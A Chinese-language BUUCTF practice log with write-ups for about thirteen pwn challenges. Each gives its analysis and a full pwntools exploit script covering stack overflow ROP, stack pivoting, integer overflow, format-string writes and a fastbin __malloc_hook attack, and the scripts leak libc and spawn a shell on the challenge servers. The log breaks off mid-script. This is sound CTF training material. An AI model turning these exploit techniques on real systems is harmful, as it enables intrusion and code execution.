2021-08-30 BUUCTF刷題記錄
刷題數量:13
題目分類:棧溢出、堆、pwn基礎
文章目錄
- 2021-08-30 BUUCTF刷題記錄
-
- [Black Watch 入群題]PWN
-
- 0x00 題目描述
- 0x01 分析思路
- 0x02 EXP
- ez_pz_hackover_2016
-
- 0x00 題目描述
- 0x01 題目分析
- 0x02 思路
- 0x03 EXP
- jarvisoj_tell_me_something
-
- 0x00 題目描述
- 0x01 題目分析
- 0x02 EXP
- Jarvisoj_level3
-
- 0x00 題目描述
- 0x01 題目思路
- 0x02 EXP
- [HarekazeCTF2019]baby_rop2
-
- 0x00 題目描述
- 0x01 題目分析
- 0x02 EXP
- bjdctf_2020_babystack2
-
- 0x00 題目描述
- 0x01 題目分析
- 0x02 EXP
- jarvisoj_fm
-
- 0x00 題目描述
- 0x01 題目分析
- 0x02 EXP
- pwn2_sctf_2016
-
- 0x00 題目描述
- 0x01 題目分析
- 0x02 Exp
- 2019_OPPO_BabyROP
-
- 0x00 題目描述
- 0x01 題目分析
- 0x02 Exp
- babyheap_0ctf_2017
-
- 0x00 題目描述
- 0x01 程式分析
- 0x02 EXP
- bjdctf_2020_babyrop
-
- 0x00 題目描述
- 0x01 題目分析
- 0x02 EXP
- 鐵人三項(第五賽區)2018_rop
-
- 0x00 題目描述
- 0x01 題目分析
- 0x02 exp
- ciscn_2019_c_1
-
- 0x00 題目簡介
- 0x01 程式分析
- 0x02 exp
- 基礎知識
[Black Watch 入群題]PWN
0x00 題目描述
Black Watch 入群題
PWN
0x01 分析思路
IDA拖進去看整體功能:
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIiNx8FesU2cfdGLwczX0xiRGZkRGZ0Xy9GbvNGL5EzXlpXazxSP9EEZoR3Rih3ZyEVQClGVF5UMR9Fd4VGdsATNfd3bkFGazxycykFaKdkYzZUbapXNXlleSdVY2pESa9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnLjhDNxE2YllTMmZGMhdjY4YGNkRjN1MWNwYTN2QTM5gzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
分析後,可以看到的漏洞
- 棧溢出(讀入32位元組存入24的數組,溢出8位元組)
剛開始,我也疑惑,這8位元組放payload空間不夠呀,怎麼辦?
後面看了看前輩的wp,還利用了前面的.bss段,具體思路:
- 洩露libc
- 通過.bss段寫入要運作的payload
- 通過8位元組構造一個短payload運作.bss代碼
- getshell
- one_gadget
這邊涉及了一些前置知識:
leave;ret;
的gadget有什麼用?
leave相當于彙編代碼
mov rsp,rbp
pop rbp
相當于将目前棧頂指向了rbp的位址,然後彈出rbp一段代碼為EIP(x64為8位)
如果我們把.bss位址設定為rbp,并且将payload寫入.bss位址,運作這段代碼
payload=b"a"*(0x18)#溢出
payload+=p32(s_addr-4)#rbp
payload+=p32(leave_ret)#ret位址
我們會先執行溢出修改的gadget
leave_ret
位址,然後rbp設定為s_addr-4
動态流程:
asm:
mov rsp,rbp
pop rbp
ret
rsp=rbp
EIP=rbp+4
(彈出一段4位元組)的記憶體資料
ret (相當于 jmp EIP)
執行後,就相當于将程式傳回(跳轉)到了.bss的代碼段,然後就執行寫入.bss段的payload。
0x02 EXP
整體思路
- 寫入payload到.bss
- 用
特性将代碼跳轉到.bss段leave
- 洩露lib
- getshell
tips:
- 無法getshell試試
- 是不是libc的問題(本地與遠端不一樣)
- 換一種方式(system、其他gadget)
from pwn import *
context.log_level="debug"
#context.arch="i386"
name="/root/spwn"
p =remote("node4.buuoj.cn",25182)
elf=ELF(name)
main_addr=elf.sym['main']
read_got=elf.got["read"]
write_plt=elf.plt['write']
pause()
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
#多試試 puts不行就write
p.sendafter(b'What is your name?',payload)
s_addr=0x0804A300
leave_ret=0x08048408 #: leave ; ret
payload=b"a"*(0x18)#24(buf)
payload+=p32(s_addr-4)
payload+=p32(leave_ret)
"""
leave=
mov rsp,rbp(rsp指向了.bss段)
pop rbp
pop eip(彈出的是.bss段的代碼)
ret:
"""
#rop 正常
#payload+=p32(puts_plt)+p32(read_got)
p.sendafter(b'?',payload)#\n算1位元組
leak=u32(p.recv(4))
libc=ELF("./x86/libc-2.23_buuctf.so")
libc_base=leak-libc.sym['read']
"""
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
"""
one_gadget=libc_base+0x3a80c
get=p32(one_gadget)+p32(main_addr)
p.sendafter(b"?",get)
p.sendafter(b"?",payload)
#p.sendlineafter(b'?',payload)
p.interactive()#W3lcAm3_t0_Bw
ez_pz_hackover_2016
0x00 題目描述
hackerover 2016
0x01 題目分析
IDA拖進去靜态分析:
大概分析程式主要的邏輯
-
比較我們輸入的字元是否為strcmp
crashme
- 将輸入的字元傳入
函數vuln
此題沒有後門,是以我們隻能利用棧溢出之類的漏洞進行ROP洩露位址
在vuln可以看到如果我們資料大小大于50就可造成棧溢出,很明顯調用時傳入1024長度就是棧溢出了。
如何過strcmp的同時還傳入payload?
這邊有一個前置知識,strlen()會遇到 \x00
字元截斷,但其他的輸入函數不會
我們利用這個特性,可以過掉strcmp,随後後門構造棧溢出的rop傳給vuln完成洩露libc、getshell
0x02 思路
整體思路:
- 洩露libc
- getshell
給廣大初學者說的話:
- CTF雖然有很多的基礎知識理論,但大多需要自己親自去手動嘗試,具體情況具體分析(偏向手動實驗),不能太執着于學到的理論知識,需要保持一顆開放的好奇心。最主要是多自己手動動态調試才知道每一步是怎麼運作的。
0x03 EXP
from pwn import *
context.log_level="debug"
context.arch="i386"
name="/root/ez_pz_hackover_2016"
p =remote("node4.buuoj.cn",27260)
elf=ELF(name)
libc=ELF("./x86/libc-2.23_buuctf.so")
main_addr=elf.sym['main']
goodgame=0x0000000000400620
printf_plt=elf.plt["printf"]
ptf_got=elf.got["printf"]
main_addr=elf.sym['main']
payload=b"crashme\x00"#過strcmp
payload+=b"a"*18+p32(printf_plt)+p32(main_addr)+p32(ptf_got)
"""
\x00可越過 strlen、strcmp
具體 動态調試确定
"""
pause()
p.sendlineafter("> ",payload)
p.recvuntil("crashme")
p.recvuntil("\n")
recvraw=p.recv(4)
leak_addr=u32(recvraw)
print("leak_addr : {}".format(hex(leak_addr)))
libc_base=leak_addr-libc.sym['printf']
one_gadget=libc_base+0x3a80c
#one_gadget getshell
payload=b"crashme\x00"
payload+=b"a"*18+p32(one_gadget)+p32(main_addr)+b"\x00"*90
p.sendlineafter("> ",payload)
p.interactive()
jarvisoj_tell_me_something
0x00 題目描述
浙大OJ的tell_me_something
0x01 題目分析
IDA進去,靜态分析:
那麼假設的整體思路:
- 構造棧溢出傳回到gg函數gg
0x02 EXP
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/guestbook"
p =remote("node4.buuoj.cn",26720)
elf=ELF(name)
main_addr=elf.sym['main']
goodgame=0x0000000000400620
#main不用rbp??
payload=b"a"*(0x88)+p64(goodgame)+p64(main_addr)
pause()
p.sendlineafter(":\n",payload)
p.interactive()
Jarvisoj_level3
0x00 題目描述
[[Jarvisoj]]:浙大_OJ
level3
0x01 題目思路
拖進IDA
MAIN:
分析一下,很明顯有
棧溢出
的漏洞
接下來,這類題的套路:
- 構造payload洩露libc位址
- getshell
0x02 EXP
整體思路
- 棧溢出洩露libc
- getshell
注意的點:
- (x86)傳回位址放call之後(參數前),程式會将下一個位址識别為傳回位址(即ebp)
from pwn import *
context.log_level="debug"
context.arch="i386"
name="/root/level3"
p = remote("node4.buuoj.cn",29197)
libc=ELF("./x86/libc-2.23_buuctf.so")
#p=process(name)#
elf=ELF(name)
read_got=elf.got['read']
main_addr=elf.sym['main']
write_plt=elf.plt['write']
payload=b"a"*(0x88+4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
#傳回位址放call之後(參數前),程式會将下一個位址識别為傳回位址(即ebp)
sleep(0.2)
p.sendlineafter(b"Input:\n",payload)#leak
sleep(0.2)
leak_addr=p.recv(4).ljust(4,b"\x00")
print("leak -> {}".format(leak_addr))#{} and format
libc_base=u32(leak_addr)-libc.sym['read']
"""
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
"""
one_gadget=libc_base+0x3a80c
payload=b"a"*(0x88+4)
payload+=p32(one_gadget)+p32(main_addr)
sleep(0.2)
p.sendlineafter(b"Input:\n",payload)#leak
p.interactive()
#find / -name flag flag{fca3c3e6-b051-4ac1-8349-e2fa3a74412c}
[HarekazeCTF2019]baby_rop2
0x00 題目描述
rop rop rop
[HarekazeCTF2019]
0x01 題目分析
IDa拖進去看:
明顯的棧溢出(讀入了256到buf[28]的數組)
于是假設的思路:
- 洩露libc
- getshell
0x02 EXP
整體思路:
- 棧溢出洩露libc
- one_gadget擷取shell
值得注意的:
- 要調試才能逐漸慢慢确定,别着急,慢慢調
- 用print_plt再輸出print_got輸不出(多換換不同的函數試試 換一個read可以)
- 發送的payload進入程式,填充到rdi(雖然字元串顯示是正常順序,但是16進制是倒叙)小端序
- 找的one_gadget記得要修複它的條件(例如rsp+n為\x00)
- x86下,參數直接入棧即可。x64前6個參數需要進入指定的
具體查閱資料。寄存器
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/babyrop2"
p = remote("node4.buuoj.cn",28737)
#p=process(name)#
elf=ELF(name)
read_got=elf.got['read']
main_addr=elf.sym['main']
printf_plt=elf.plt['printf']
#ret_to_callprintf_callee=0x0000000004006C0#call printf in main
pop_rdi_ret=0x0000000000400733## : pop rdi ; ret
#pop_rsi_ret=0x0000000000400731## : pop rsi ; pop r15 ; ret
#pause()
#ohh.. x64傳參數要rdi。。動态調試才知道問題
#倒序推入rdi 必須填充滿8位
#隻能輸出位址?如果是字元串要存入位址再傳入rdi?
payload=b"a"*(0x20+8)
payload+=p64(pop_rdi_ret)+p64(read_got)#傳參數 x64 rdi
#...用printf_got在遠端無法輸出,read_got可以,難道遠端優化了printf??
payload+=p64(printf_plt)#puts lea
payload+=p64(main_addr)#rop
sleep(0.2)
p.sendlineafter(b"name? ",payload)#leak
sleep(0.2)
p.recvuntil("\n")
leak_addr=p.recv(6).ljust(8,b"\x00")
pause()
print("leak -> {}".format(leak_addr))#{} and format
libc=ELF("./x64/libc.so.6_buuctf")
libc_base=u64(leak_addr)-libc.sym['read']
one_gadget=libc_base+0x4526a
payload=b"a"*(0x20+8)
payload+=p64(one_gadget)#puts leak
payload+=p64(main_addr)#rop
payload+=b"\00"*90#padding repair onegadget 選擇的one_gadget修複後面的rsp
p.sendlineafter(b"name? ",payload)#getshell
p.interactive()
#find / -name flag
bjdctf_2020_babystack2
0x00 題目描述
BJDCTF
BABYSTACK(棧)
0x01 題目分析
IDA
正常的邏輯:
- 輸入要輸入字元出長度(限制10)
- 輸入資料到buf
結合題意,如何制造棧溢出呢?
(下面題目多次介紹了[[整數溢出]],pwn2_sctf_2016等)
正常邏輯,僅僅允許輸入10長度的資料,那肯定是不夠我們ROP的,但是注意一下變量類型是
unsigned int
(無符号整數)
無符号如果是負數,就是向上溢出(最大值開始減目前)
那麼相當于我輸入了-1,變量其實變成了(unsigned int最大值 +(-1))~約等于無限制輸入
具體了解整數溢出可以去
CTFWiki
查閱相關基礎資料
0x02 EXP
from pwn import *
p = remote("node4.buuoj.cn",27953)#process('/root/fm')
backdoor=0x000000000400726
p.sendlineafter(b"name:","-1")
payload = b"a"*(0x10+8)+p64(backdoor)
p.sendlineafter("name?",payload)
p.interactive()
jarvisoj_fm
0x00 題目描述
來自:jarvisoj
fm??(format字元串格式化)
0x01 題目分析
IDA
程式邏輯很簡單
- 輸入資料,用printf列印資料
- 判斷x為4就getshell
那我們的思路主要就是通過printf修改x的值(字元串格式化漏洞)
先動态調試,測出字元串的變量位址偏移
→利用%p.%p.%p.%p.%p.%p.%p.,測出真實字元串位址存在第11個偏移位
前置知識:
-
可修改變量值%n
如何改4?x位址是已知固定的。并且偏移也測出是11
可以利用
%11$n
=>作用:修改偏移11的變量位址資料為目前字元串前面字元個數
payload = p32(x_addr) + b'%11$n'
x的位址剛好是4,那麼剛好把x的位址資料内容改成了
\x04
如果在
%
号前加填充aa 會把x改為6(其實就是改x為
%
前字元串長度)
0x02 EXP
from pwn import *
p = process('/root/fm')
x_addr = 0x0804A02C
payload = p32(x_addr) + b'%11$n'
pause()
p.sendline(payload)
p.interactive()
pwn2_sctf_2016
0x00 題目描述
pwn2_sctf_2016
來自 SCTF
0x01 題目分析
先拖進IDA,靜态分析一下程式的大局功能
基本邏輯
- 輸入要讀取的字元長度(限制32)
- 讀入資料
看到這裡,似乎也不存在什麼棧溢出???于是乎
我看到了有
dothing
這個函數
以為是通過這個函數來做點事??
後面仔細分析了一下,點進
get_n
進去看你會發現驚喜~~
get_n:
a1是輸入的資料
a2是長度(但是是無符号的)
這邊有一個前置知識
- 如果無符号的整數指派為負數,他會造成[[整數溢出]](簡單來說值會變成:變量類型最大值-負數的正數位)
那???如果我輸入
-1
(滿足不大于32)
無符号值:0到4294967295(0 到232 - 1)4個位元組
豈不是a2=4294967295-1=4294967294(幾乎是無限制輸入)
接下來,就可以幹大事了,棧溢出構造payload去洩露libc、getshell…
0x02 Exp
整體思路:
- 整數溢出導緻棧溢出rop
- 洩露libc
- getshell
注意的點:
-
在修複傳回棧中(ebp)用函數首部位址 避開破壞棧導緻崩潰
main_addr=elf.sym[“main”]#很重要,修複的ebp傳回位址關乎程式是否崩潰
#使用傳回到main (就是main開始位址)
- 若LIBCSEARCH不行 轉本地(要怪就怪libcsearcher蛤~),你可以在BUUCTF官網下載下傳對應的glibc
#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context.arch="i386"
isLocal=0
filename="/root/pwn2_sctf_2016"
if isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
pause()
else :
p=remote("node4.buuoj.cn",29781)
elf=ELF(filename)
p.sendline("-1")#overflow unsigned int
p.recvuntil("data!\n")
sleep(0.2)
printf_plt=elf.plt["printf"]
printf_got=elf.got["printf"]
main_addr=elf.sym["main"]#很重要,修複的ebp傳回位址關乎程式是否崩潰
#使用傳回到main (就是main開始位址)
payload=b"a"*(0x2C+4)+p32(printf_plt)+p32(main_addr)+p32(printf_got)
sleep(0.2)
p.sendline(payload)
p.recvuntil("\n")#\n=\x0a
leak=u32(p.recv(4))
print(b"leak:"+str(leak).encode())
libc=LibcSearcher("printf",leak)
## LIBC SEARCHER 如果搜尋不到,就手動下載下傳libc
libcbase=leak-libc.dump("printf")
system_add=libcbase+libc.dump("system")
binsh_add=libcbase+libc.dump("str_bin_sh")
payload=b"a"*(0x2C+4)+p32(system_add)+p32(main_addr)+p32(binsh_add)#
#傳回到程式首部 修複堆棧
p.sendline("-1")
p.recvuntil("data!\n")
p.sendline(payload)
p.interactive()
## LOCAL LIBC 辦法2:使用本地libc
libc=ELF("./x86/libc-2.23_buuctf.so")
libc_base=leak-libc.sym['atoi']
one_gadget=libc_base+0x3a80e
payload=b"a"*(0x2C+4)+p32(main_addr)+p32(one_gadget)+b"\x00"*80#
#傳回到程式首部 修複堆棧
p.sendline("-1")
p.recvuntil("data!\n")
p.send(payload)
p.interactive()
#tips:fix ebp ret
#p32(0)+
#ubuntu 16:libc2.23
2019_OPPO_BabyROP
0x00 題目描述
2019_OPPO_BabyROP
OPPO廠出的題目
0x01 題目分析
拖進IDA
分析一下程式的整體功能
整體功能:
- 配置設定一個随機數,函數1主要為了驗證随機數是否與輸入的比對
- 函數2,根據函數1傳回值作為讀入的長度去讀取資料
分析一下漏洞:
針對函數1的随機數繞過方法:
- strlen對
會截斷,可利用此特性繞過比較\x00
2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄
函數2隻要參數不為127就可以自定義長度,我們可以輸入一個大于buf長度的資料,制造
棧溢出
由于參數是函數1傳回的,是buf的第七位(單位元組),那麼可以輸入
\xff
(255)最大值
想說給初學者的話:
- 很多東西,雖然似乎是模闆的東西,但是具體的路,要自己親自去走,才知道有什麼困難要自己面對,如何對待的。(多動态調試,不要被前方的自我想象阻礙)
0x02 Exp
整體思路:
-
繞過随機數判斷,制造溢出字元\x00
- 構造溢出payload
- 洩露libc
- onegadget
注意的點:
- 修複ebp(傳回位址)蠻重要的,不然會崩潰
- 遠端搜尋不到libc、本地 可以利用本地特征去搜尋一樣的libc,另外一種情況,隻好下載下傳題目的Libc
- one gadget要求 esp+0x28=null,需要填充後面的esp為\x00
#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context.arch="i386"
isLocal=0
filename="/root/2019_OPPO_BABYROP"
if isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
pause()
else :
p=remote("node4.buuoj.cn",29007)
elf=ELF(filename)
p.sendline("\x00123456\xff")#
#strlen \x00 截斷
p.recvuntil("Correct\n")
sleep(0.2)
ret_startfunc=0x080487D0 #rop func start
write_plt=elf.plt['write']
read_got=elf.got['read']
payload=b"a"*(0xe7+4)+ p32(write_plt) +p32(ret_startfunc) + p32(1) + p32(read_got) + p32(4)
#修複調用write後的ebp(即傳回位址)=rop程式開頭(重新調用)
p.send(payload)
leakaddr=p.recv(4)
read_addr=u32(leakaddr)
print(b"leak:"+str(read_addr).encode())
#遠端搜尋不到libc、本地 可以利用本地特征去搜尋一樣的libc,另外一種情況,隻好下載下傳題目的Libc
libcx =ELF("./x86/libc-2.23_rop.so")## LibcSearcher('read', read_addr)
#payload=b"a"*0xe7+p32(0)+p32(one_gadget)+b"\x00"*(300-231-8)
#p.sendline(payload)
#elf加載 用 sym[],libcsearch用dump
libc_base=read_addr-libcx.sym['read']
#system_addr=libc_base+libcx.sym["system"]
#binsh_addr=libc_base+libcx.sym["str_bin_sh"]
one_gadget=libc_base+0x3a80c
payload=payload=b"a"*(0xe7+4)+ p32(one_gadget) +b"\x00"*555
#修複調用write後的ebp(即傳回位址)=rop程式開頭(重新調用)
#one gadget要求 esp+0x28=null,需要填充後面的esp為\x00
p.send(payload)
p.interactive()
#ubuntu 16:libc2.23
"""
[email protected]:~/exp/buuctf/x86## one_gadget libc-2.23_rop.so
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libcls
[esp+0x28] == NULL
0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL
0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5f065 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5f066 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
"""
babyheap_0ctf_2017
0x00 題目描述
堆題目含增、删、改、查
0CTF
0x01 程式分析
拖進IDA看個整體大概
很明顯會發現是一個功能齊全的堆題目
- 增加(建立堆)
- 修改(修改堆内容)
- 删除(釋放堆)
- 查詢(輸出堆内容)
同時,堆的總記憶體布局是程式在一個
sub_B70
的函數進行随機去配置設定的位址
每調用一個功能函數,都會傳入總堆存放的位址。
生成所有堆存放位址:
接下來就是重頭戲了,程式該如何拿shell呢?
我們一般getshell的思路就是洩露位址,得到libc位址,然後構造一個payload去getshell。
那能不能這樣呢?
我們仔細看看程式的功能:
- 增加
- 這邊有一個
對于初學堆者會比較陌生,它相較于calloc
在于配置設定指定空間的堆後,會将堆上的資料每個位元組指派為malloc
[[calloc]]\x00
2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄
- 修改
2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄
細心的朋友可以發現,這邊就有了漏洞
我們修改堆内容,長度是自己輸入,并且不做任何限制,那就會造成堆的溢出。
3. 删除
- 查詢
2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄
保護情況:全開
[email protected]:/## checksec --file="/root/babyheap_0ctf_2017"
[*] '/root/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
這道題我也思考、嘗試了很久,最後看了一下前輩們的wp,解法大概的整體思路:
- 通過堆溢出制造[[堆疊]],随後利用堆疊可輸出堆的系統header,利用釋放間隙header産生的
位址作為洩露的位址unsorted bin
- 通過堆溢出修改新堆塊的指針為任意指針,控制
位址的資料完成getshell(這是一種叫__malloc_hook
的攻擊)Fast bin Attack
前置知識、疑問:
- 什麼是堆疊?
就是相鄰的堆重疊。舉個例子
例如我申請了堆1為0x80大小的堆,堆2為0x80大小的堆。随後我通過堆溢出将堆2的使用者不可控制位(系統頭部)修改了造成了堆1的堆标記空間大小增大,這樣一旦輸出堆1的資料,會連着堆2的系統頭部甚至是堆2的使用者資料連帶輸出。
有什麼用?欺騙了程式,控制系統堆的管理
- 什麼是
?unsorted bin
堆釋放了之後,系統會将其加入指定的bin
在任意small bin/ large bin 被釋放後加入small bin/large bin 前會先進入unsorted bin
(small bin在64位下最小(2x8x2=32位元組),否則會識别為fast bin)
進入了unsorted bin,堆header會被系統修改為 unsorted bin 位址
-
有什麼用?unsorted bin
在unsorted bin的指定偏移處,是__malloc_hook的資料位址
-
是什麼?__malloc_hook
如果__malloc_hook的資料位址不為空,系統在配置設定堆時(也就是使用者調用malloc、calloc之類函數配置設定堆時),會将調用的函數指向__malloc_hook記憶體放的位址
在本題,如果一旦我們把 __malloc_hook 修改成getshell的位址,那我們再次調用calloc時,就間接調用了 getshell 位址
- 什麼是
?[[FastAttackBin]]Fast bin attack
更深入的原理大家可以在網上搜尋資料或者下載下傳glibc代碼進行檢視
glibc 代碼定義了預設fast bin 的大小為128(0x80)(32位的為64)
Fastbin采用單連結清單結構(通過fd指針連接配接),且當chunk釋放時,不會清空 next_chunk 的 prev_inuse,再加上檢查機制的不完善,導緻 fastbin 比較脆弱。
攻擊方法:
- 二次釋放
- 修改fd指針并申請(或釋放)任意位置的 chunk (或 fake chunk)在堆溢出的情況下
基礎gdb指令:
heap
可檢視目前堆塊資訊
libc
檢視libc基位址
magic
檢視libc函數偏移
par
是
parseheap
簡寫
x/4g
檢視64位下(8位)2行,4 * 8=32位元組
vmmap (heap)
檢視程式記憶體結構(堆結構)位址
bins
指令可檢視unsorted bin位址,他會指向
main_arena
位址。再往前移動0x10就是
__mallochook
位址
0x02 EXP
整體思路分為兩部分
- 洩露unsorted_bin位址(通過堆溢出導緻堆疊),根據前置知識用unsorted_bin計算mallochook位址
- 通過堆溢出(改fd)使堆塊位址被任意改寫為malloc_hook指針,修改堆塊資料為one_gadget完成getshell(FAST BIN ATTACK)
功能定義:
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.terminal = ['tmux','splitw','-h']#cmd : tmux
isLocal=0
filename="/root/babyheap_0ctf_2017"
if isLocal:
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
pause()
else :
p=remote("node4.buuoj.cn",27211)
libc=ELF("./x64/libc-2.23_buuctf.so")
elf=ELF(filename)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
pause()
def malloc(size):
ru("Command: ")
sl('1')
ru("Size: ")
sl(str(size))
def free(index):
ru("Command: ")
sl('3')
ru("Index: ")
sl(str(index))
def edit(index,size,content):
ru("Command: ")
sl('2')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sl(content)
def dump(index):
ru("Command: ")
sl('4')
ru("Index: ")
sl(str(index))
第一部分記憶體結構圖:
第一部分
1.用堆溢出制造堆疊(overlap),導緻堆1與堆2重疊(包含了系統的頭部)
2.利用堆疊和程式輸出功能,輸出unsorted bins 位址(在堆2的header部分)
malloc(0x80)
malloc(0x80)
malloc(0x80)
malloc(0x80)
free(1)
payload=b'a'*0x88+p64(0x121)
edit(0,len(payload),payload)#堆溢出 修改了堆1的 系統size區域
malloc(0x110)#重新申請0x110 申請回chunk1=0x110
"""
1.先主動釋放,再通過堆溢出又把chunk1改回`USED`了并且`擴大了控制區域`
2.接下來堆溢出,導緻改chunk1可以直接修改chunk2、3(跨越、包含系統的頭部)
#0x80=128 | 0x110=288
"""
#pause()#此時還沒産生unsorted bins
payload=b'a'*0x88#堆溢出到下一塊系統區域
payload+=p64(0x91)#堆溢出将chunk2改回了0x80(系統占用0x10+使用标志位0x01)
edit(1,len(payload),payload)
#當期整體堆:chunk0=0x80,chunk1=0x110,chunk2=0x80
#pause()#此時還沒unsorted bins
free(2)#free 2 ,
#pause()#此時chunk2頭部有unsorted bin位址了,可通過gdb的bins檢視
dump(1)## 輸出chunk1的堆資料,由于堆溢出修改了堆的大小,導緻連帶chunk2的頭部一起輸出
第二部分
3.利用洩漏的位址unsorted bins去偏移找到__malloc_hook位址,改寫成gadget位址以getshell
leak_addr=p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")
malloc_hook=u64(leak_addr)-88-0x10#main_arena-0x10
print("format leak_unsorted_bins ==> {}".format((leak_addr)))
"""
unsortedbin
all: 0x56441ebf0120 —▸ 0x7f1abfd36b78 (main_arena+88) ◂— 0x56441ebf0120
"""
libc_base=malloc_hook-libc.symbols['__malloc_hook']
log.success("libc_base -> {}".format(hex(libc_base)))
#篡改malloc_hook實作shell(fast bin attack)=>修改堆塊的fd
malloc(0x80) ## 重新申請回chunk2
malloc(0x60) ## 新堆chunk4
malloc(0x60) ## 新堆chunk5
free(5)## free 5
payload=b'a'*0x68 +p64(0x71)+p64(malloc_hook-0x23)
edit(4,len(payload),payload)#溢出寫。将chunk5->fd改寫為自定義位址
"""
利用堆溢出,chunk5使fd指向 malloc_hook
此時記憶體布局:
pwndbg> par
addr prev size status fd bk
0x561e9e2dd000 0x0 0x90 Used None None
0x561e9e2dd090 0x6161616161616161 0x120 Used None None
0x561e9e2dd1b0 0x0 0x90 Used None None
0x561e9e2dd240 0x0 0x70 Used None None
0x561e9e2dd2b0 0x6161616161616161 0x70 Freed 0x7f379b513aed None
導緻下一次申請chunk6時,位址被任意寫
"""
malloc(0x60) #重新申請回chunk5
malloc(0x60) #新堆chunk6
"""
由于chunk5->fd指向自定義位址,chunk6申請時,chunk6位址被任意改寫為自定義位址
chunk6的位址也就是__malloc_hook的位址了,修改chunk6相當于間接控制__malloc_hook位址的資料内容,控制程式的malloc函數調用
"""
if isLocal:
one_gadget=libc_base+0x4527a
else:
one_gadget=libc_base+0x4526a
payload=b'a'*0x13+p64(one_gadget)
edit(6,len(payload),payload)#更改malloc_hook的位址為One_gadget
"""
(0x10要給系統作為頭部,0x13是偏移)
0x7f379b513b10 - 0x7f379b513aed=0x23-header=0x10
pwndbg> x/30g 0x7f379b513aed+0x23
0x7f379b513b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
使用gdb檢視 被改寫
pwndbg> x/4gx 0x7fadcded1b20-0x10
0x7fadcded1b10 <__malloc_hook>: 0x00007fadcdb5227a 0x0000000000000000
0x7fadcded1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
"""
malloc(0x10)#_malloc_hook
p.interactive()
bjdctf_2020_babyrop
0x00 題目描述
bjdctf_2020_babyrop
Ubuntu 16
0x01 題目分析
拖進IDA,
于是設想的整體思路
- 洩露libc
- getshell
- 在CTF中,設想終究是設限,幹,動态調試才知道真正每一步該如何走。
0x02 EXP
EXP前置知識
-
的鍵值設定為本地libc位址,可自定義程式啟動的libc版本LD_PRELOAD
- one_gadget 擷取程式段内的gadget片段位址
- 小端序在接收後,如果需要填充指定位,\x00在位元組尾部填充
- 如果是x64(僅僅接收了6位元組小端序,作填充:
)\xx\xx\xx\xx\xx\x7f\x00\x00
- 如果是x64(僅僅接收了6位元組小端序,作填充:
整體思路:
- 通過棧溢出構造輸出洩露libc位址
- 用Libsearcher查找具體libc的版本,然後重新構造ROP棧溢出使程式調用libc内的system以getshell
#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/bjdctf_2020_babyrop"
if isLocal:
p=process(filename,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"})#
pause()
else :
p=remote("node4.buuoj.cn",29054)
elf=ELF(filename)
#libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
pop_rdi=0x0000000000400733 #: pop rdi ; ret
puts_plt = elf.plt['puts']
main_got = elf.got['read']
main_addr = elf.sym['main']
#洩露libc
payload = 'a'.encode() * (0x20 + 8) + p64(pop_rdi)+p64(main_got) +p64(puts_plt) + p64(main_addr) #re jmp to main
p.sendlineafter(b'Pull up your sword and tell me u story!\n',payload)
read_addr=u64(p.recv(6).ljust(8,b"\x00"))#0 padding (right padding 0) !!!!
## little pad \xx\xx\xx\xx\xx\x7f\x00\x00
#seacher搜尋libc,getshell
print(b"leadaddr:"+str(read_addr).encode())
libc = LibcSearcher('read', read_addr)
#ubuntu 18.04 libc:2.27 (7)
